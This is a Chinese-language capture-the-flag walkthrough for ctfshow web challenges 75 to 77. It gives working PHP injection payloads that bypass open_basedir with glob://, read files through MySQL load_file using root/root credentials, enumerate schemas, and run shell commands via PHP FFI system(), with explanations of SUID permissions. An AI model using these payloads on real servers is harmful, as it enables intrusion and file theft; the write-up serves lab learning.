ctfshow-web入门-命令执行(web75-web77)

目录

1、web75

2、web76

3、web77


1、web75

使用 glob 协议绕过 open_basedir,读取根目录下的文件,payload:

复制代码
c=?><?php $a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{
   echo($f->__toString().' ');
}
exit(0);
?>

存在 flag36.txt

利用 mysql load_file 读文件,提示中是从数据库 ctftraining 中查询的,就算我们不知道这个数据库名,也可以直接从默认的 information_schema 中查,该数据库包含了所有的数据库的内容。

payload:

复制代码
c=try {
  $dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');
  foreach($dbh->query('select load_file("/flag36.txt")') as $row) {  
      echo($row[0])."|";
  }
  $dbh = null;
} catch (PDOException $e) {
  echo $e->getMessage();
  die();
};exit();

解释:

复制代码
try {
    // 使用PDO(PHP Data Objects)创建一个新的数据库连接对象,指定DSN、用户名(root)和密码(root)
    $dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');
    
    // 执行一个SQL查询,从指定的文件(/flag36.txt)中读取内容
    foreach($dbh->query('select load_file("/flag36.txt")') as $row) {  
        // 输出读取到的内容,并追加一个竖线(|)
        echo($row[0])."|";
    }
    
    // 将数据库连接对象设置为null,关闭连接
    $dbh = null;
} catch (PDOException $e) {
    // 如果发生PDO异常,输出错误信息
    echo $e->getMessage();
    // 终止脚本执行
    die();
}

// 终止脚本执行
exit();

$dbh 是数据库连接句柄(database handle),它是通过 new PDO 创建的,用于与数据库进行交互。

PDO(PHP Data Objects)是PHP中的一个扩展,它提供了一个统一的接口来访问不同的数据库。它支持预处理语句和事务,使数据库操作更安全和高效。

DSN(数据源名称,Data Source Name)是一个包含数据库连接信息的字符串。它通常包括数据库类型、主机名、数据库名称等信息。在创建PDO对象时指定,即 'mysql:host=localhost;dbname=information_schema'。这个字符串包含了数据库类型(mysql)、主机名(localhost)和数据库名称(information_schema)。

foreach 是PHP中的一个控制结构,用于遍历数组或对象。在上面payload中,foreach 用于遍历SQL查询的结果集(由 $dbh->query 返回),并处理每一行的数据。

拿到 flag:ctfshow{b59fea1d-d5d8-4d90-a9dc-e318e43733f1}

当然我们也可以查一下有哪些数据库:

复制代码
c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");
foreach($rs as $row){
        echo($row[0])."|"; 
}exit();

payload 解释:

复制代码
// 数据源名称(DSN),指定数据库类型、主机名和数据库名称
$dsn = "mysql:host=localhost;dbname=information_schema";

// 使用PDO(PHP Data Objects)创建一个新的数据库连接对象,使用指定的DSN、用户名(root)和密码(root)
$db = new PDO($dsn, 'root', 'root');

// 执行一个SQL查询,从SCHEMATA表中选择并连接所有数据库名称(SCHEMA_NAME),返回一个结果集
$rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");

// 遍历结果集中的每一行,并输出第一个字段(即连接的数据库名称),然后追加一个竖线(|)
foreach($rs as $row){
    echo($row[0])."|";
}

// 终止脚本执行
exit();

确实存在一个名为 ctftraining 的数据库

我们还可以继续查 ctftraining 数据库下的所有表:

复制代码
c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(TABLE_NAME) FROM TABLES WHERE TABLE_SCHEMA = 'ctftraining'");
foreach($rs as $row){
        echo($row[0])."|"; 
}exit();

存在一个名为 FLAG_TABLE 的表

查该表下的列名:

复制代码
c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(COLUMN_NAME) FROM COLUMNS WHERE TABLE_SCHEMA = 'ctftraining' and TABLE_NAME = 'FLAG_TABLE'");
foreach($rs as $row){
        echo($row[0])."|"; 
}exit();

得到列名为 FLAG_COLUMN

查询具体字段信息:

复制代码
c=$dsn = "mysql:host=localhost;dbname=ctftraining";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("SELECT FLAG_COLUMN FROM FLAG_TABLE");
foreach($rs as $row){
        echo($row[0])."|"; 
}exit();

不行

但是由于我们知道了 flag 的路径,所有直接使用 load_file() 函数进行文件读取就行了。

2、web76

读取根目录下的文件:

复制代码
c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{
   echo($f->__toString().' ');
}
exit(0);

存在名为 flag36d.txt 的文件

使用上一题的方法获取:

复制代码
c=try {
  $dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');
  foreach($dbh->query('select load_file("/flag36d.txt")') as $row) {  
      echo($row[0])."|";
  }
  $dbh = null;
} catch (PDOException $e) {
  echo $e->getMessage();
  die();
};exit();

拿到 flag:ctfshow{d95d6fc4-3d51-4ab3-92b0-49edd1421b98}

3、web77

读取根目录后发现存在 flag36x.txt 和 readflag

(readflag 这个东西在前面的题里面遇到过,它是一个可执行的二进制文件,执行它即可获取 flag,这里为什么要用这个 readflag 而不是直接读取 flag36x.txt 我们后面再说)

采用前面的方法,但是回显 could not find driver

先放上题目提示里给到 payload:

用 PHP 中的 FFI(Foreign Function Interface)来调用 C 语言的 system 函数,并执行一个 Shell 命令。

复制代码
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数

FFI::cdef 方法用于定义 C 函数原型,其中 int system(const char *command); 是 C 语言中 system 函数的声明。system 函数接受一个字符串参数(即Shell命令),并在系统的命令行中执行该命令;

之后执行 /readflag 程序并将其输出重定向到文件 1.txt;

通过 FFI 对象 ffi 调用了前面定义的 system 函数,并传递了字符串变量 a 作为参数。也就是说,实际执行的是 Shell 命令 /readflag > 1.txt,效果是在系统中运行 /readflag 程序,并将其输出结果保存到当前目录下的 1.txt 文件中。

我们先来试一下,payload:

复制代码
c=$ffi = FFI::cdef("int system(const char *command);");$a='/readflag > 1.txt';$ffi->system($a);

之后访问 1.txt,即可看到 flag:ctfshow{3ff9dd00-8512-435a-b744-a1d4833f5bb4}

接下来我们说一下为什么读取 flag36x.txt 不行

我们先尝试读一下,构造 payload:

复制代码
c=$ffi = FFI::cdef("int system(const char *command);");$a='cat /flag36x.txt> 2.txt';$ffi->system($a);

之后访问 2.txt,发现是空白,没有任何内容:

看一下根目录下文件的权限:

复制代码
c=$ffi = FFI::cdef("int system(const char *command);");$a='ls -l / > 3.txt';$ffi->system($a);

访问 3.txt 查看执行结果:

先看 flag36x.txt:-r--r----- 1 root root 46 Jul 1 07:19 flag36x.txt

第一个字符 - 表示这是一个普通文件。

接下来的三个字符 r-- 表示文件所有者(root)具有读取权限,但没有写入或执行权限。

后面的三个字符 r-- 表示文件所属组(root组)具有读取权限,但没有写入或执行权限。

最后的三个字符 --- 表示其他用户没有任何权限(既没有读取、写入、也没有执行权限)。

而我们当前是一个什么用户呢:

复制代码
c=$ffi = FFI::cdef("int system(const char *command);");$a='id > 3.txt';$ffi->system($a);

用户 www-data 并不属于文件 flag36x.txt 的所有者(root 用户),也不属于文件所属组(root 组)。因此,根据文件的权限设置,www-data 用户无法读取 flag36x.txt 文件的内容。

而对于 readflag:-r-sr-xr-x 1 root root 8392 Sep 16 2020 readflag

第一个字符 - 表示这是一个普通文件。

接下来的三个字符 r-s 表示文件所有者(root)具有读取和执行权限,并且设置了SUID权限位。

后面的三个字符 r-x 表示文件所属组(root组)具有读取和执行权限,但没有写入权限。

再后面的三个字符 r-x 表示其他用户具有读取和执行权限,但没有写入权限。

我们读取一下 /readflag 的内容:

复制代码
c=$ffi = FFI::cdef("int system(const char *command);");$a='cat /readflag > 4.txt';$ffi->system($a);

访问 4.txt 下载:

"ELF" 开头的文件通常是可执行的二进制文件

使用 ida64 打开反编译分析一下:

伪代码分析:

复制代码
int __fastcall main(int argc, const char **argv, const char **envp)
{
  setuid(0);                      // 提升权限为root用户
  puts("ctfshow flag getter");    // 输出一条信息到标准输出
  system("cat /flag36x.txt");     // 执行命令,输出文件 /flag36x.txt 的内容
  return 0;                       // 返回0,表示程序正常结束
}

就是提权成 root 后读取 根目录下的 flag36x.txt,这也是为什么我们执行 readflag 后就会读取到 flag 的内容。

相关推荐
瀚高PG实验室9 分钟前
业务无法通过hgproxy访问数据库
数据库·postgresql·瀚高数据库
砚凝霜15 分钟前
【软考信息安全】第二十一章 网络设备安全增强技术与漏洞防护
网络·安全·web安全
lisw0516 分钟前
人类认知和语言学习中的控制论!
人工智能·学习·数学建模
鱼很腾apoc16 分钟前
【MySQL】 第1期 从核心概念到表约束全解析
linux·c语言·数据库·学习·mysql
10mAh22 分钟前
【SQL】NOT IN 遇到 NULL 为什么返回空集?三值逻辑与反关联实战
jvm·数据库·sql
百度一下吧25 分钟前
HTML5 新增标签与 Web Components 使用指南
前端·html·html5
acrel726 分钟前
高速公路分布式光伏并网电能质量与安全保护方案应用
分布式·安全
妖精的羽翼31 分钟前
Web3D(Three.js)应用分级 + 学习路线规划(由浅入深,贴合接单 + 求职)
学习·three.js
志尊宝32 分钟前
Vue3 零基础每日笔记(081):富文本编辑器集成 wangEditor 5——封装
前端·javascript·vue.js·笔记·信息可视化·echarts
Alinket38 分钟前
毫米波雷达 vs 摄像头 vs 手环:养老跌倒监测三类方案怎么选
网络·数据库·健康医疗·信息与通信·iot